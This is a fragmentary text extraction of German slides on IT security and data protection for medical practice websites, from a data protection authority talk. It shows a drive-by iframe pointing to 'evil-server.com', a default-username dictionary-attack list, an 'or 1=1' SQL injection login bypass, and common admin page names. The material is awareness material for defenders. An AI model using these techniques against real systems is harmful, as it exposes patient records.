Hippokrates Praxen im Netz

Größe: px

Ab Seite anzeigen:

Download "Hippokrates 2.0 - Praxen im Netz"

Melanie Morgenstern
vor 8 Jahren
Abrufe

1 Hippokrates Praxen im Netz Initiative Mit Sicherheit gut behandelt. Vortrag Regionalveranstaltungen H. Eiermann

2 Agenda 1 Risiko Schadsoftware 2 Anforderungen an Praxissysteme H. Eiermann

3 Agenda 1 Risiko Schadsoftware H. Eiermann

4 Checkliste Praxisverwaltungssystem IT-Sicherheit Internet-Anbindung

5 Checkliste Praxisverwaltungssystem IT-Sicherheit

6 BSI Lagebericht IT-Sicherheit Drive-by-Exploits Größte Gefahr bei Sicherheitslücken in Anwendungssoftware (CERT-Bund: 20/Woche)

7 BSI Lagebericht IT-Sicherheit Drive-by-Exploits Größte Gefahr bei Sicherheitslücken in Anwendungssoftware (CERT-Bund: 20/Woche)

8 Drive-by-Infection server.com <html> <iframe src=evil-server.com/eval.php </body>

9 Drive-by-Infection server.com Exploit Schadcode - Fernsteuerung - Keylogger - Scanner -

10 Drive-by-Infection server.com evil-server.com <html> <iframe src=evil-server.com/eval.php </body> Evaluation Clientdaten: Betriebssystem Browsertyp / Version Konfiguration Plugins Exploit Schadcode

11 Drive-by-Infection

12 Agenda 2 Die Praxis im Netz H. Eiermann

13 Hippokrates 2.0 Praxen im Netz > 50 % der Praxen verfügen über eine Internet-Präsenz * Praxisinformationen, Schwerpunkte, Qualifikationen, Personal Serviceleistungen (Anforderung von Rezepten, Terminvereinbarung) Für > 70 % der Ärzte wichtigste Marketingmaßnahme * * ehealth-berich Der Einsatz von Telematik und Telemedizin im Gesundheitswesen * Studie "Ärzte im Zukunftsmarkt Gesundheit (2012) H. Eiermann

Serviceleistungen (Anforderung von Rezepten, Terminvereinbarung) Für > 70 % der Ärzte wichtigste Marketingmaßnahme * * ehealth-berich Der Einsatz

14 Hippokrates 2.0 Praxen im Netz Bundesdatenschutzgesetz Unterrichtung/Einwilligung Sichere Datenübertragung Telemediengesetz Impressum Verarbeitung von Nutzungsdaten Widerspruchsrecht Elektronische Einwilligung Gesicherter Zugriff H. Eiermann

15 Hippokrates 2.0 Praxen im Netz Bundesdatenschutzgesetz Unterrichtung/Einwilligung Sichere Datenübertragung Telemediengesetz Impressum Verarbeitung von Nutzungsdaten Widerspruchsrecht Elektronische Einwilligung Gesicherter Zugriff H. Eiermann

16 H. Eiermann

17 Facebook Like-Button

19 Facebook Like-it-Button Ohne Betätigen des Like-Buttons! Ohne Information der Nutzer. IP

20 Facebook Like-it-Button Ohne Betätigen des Like-Buttons! Ohne Information der Nutzer. IP

21 Telemediengesetz Telemediengesetz Pseudonyme Nutzungsprofile 13 Abs. 1 TMG Unterrichtung / Einwilligung 15 Abs. 3 Satz 2 TMG Widerspruch 15 Abs. 3 Satz 3 TMG Zusammenführungsverbot

Facebook Like-Button: 2-Klick-Lösung 2-Klick-Lösung* * www.

22 Facebook Like-Button: 2-Klick-Lösung 2-Klick-Lösung* *

23 2-Klick-Lösung

24 Hippokrates 2.0 Praxen im Netz

25 Hippokrates 2.0 Praxen im Netz

26 Hippokrates 2.0 Praxen im Netz... für die Kennung test mit beliebigem Passwort LfD Rheinland-Pfalz H. Eiermann

27 Hippokrates 2.0 Praxen im Netz... für vorgewählte Kennungen in einer Datei mit einem beliebigem Passwort (Wörterbuchattacke) z.b. admin administrator system sa nimda service test... LfD Rheinland-Pfalz H. Eiermann

28 Hippokrates 2.0 Praxen im Netz

29 Hippokrates 2.0 Praxen im Netz

30 Hippokrates 2.0 Praxen im Netz Dahinter stehende SQL-Anweisung: select... from... where name=... and passwd=...

31 Hippokrates 2.0 Praxen im Netz Dahinter stehende SQL-Anweisung: select... from... where name=... and passwd=... Benutzereingabe führt zu: select... from... where name= 4711 or 1=1

32 Hippokrates 2.0 Praxen im Netz Anmeldung ohne gültige Benutzerkennung oder Passwort war möglich Zeitaufwand ca. 5 sec

33 Hippokrates 2.0 Praxen im Netz

34 Hippokrates 2.0 Praxen im Netz Überweisungsliste

35 Hippokrates 2.0 Praxen im Netz Verschreibungen

36 Hippokrates 2.0 Praxen im Netz Säumige Zahler

37 Hippokrates 2.0 Praxen im Netz Passwortdatei

38 Hippokrates 2.0 Praxen im Netz Login

39 ... admin.asp, admin.js, admin.html Wir finden Dich... login.asp, login.js, login.html... anmeldung.asp, anmeldung.js, anmeldung.html

40 Hackers Google

42 Helmut Eiermann Gruppenleiter Technik Hintere Bleiche Mainz Tel (06131) Fax (06131)

Ähnliche Dokumente

Hippokrates Praxen im Netz

Hippokrates Praxen im Netz Hippokrates 2.0 - Praxen im Netz Medizinrechtssymposium der Bezirksärztekammer Trier Trier, 17.2.2016 H. Eiermann > 50 % der Praxen verfügen über eine Internet-Präsenz Praxisinformationen, Schwerpunkte,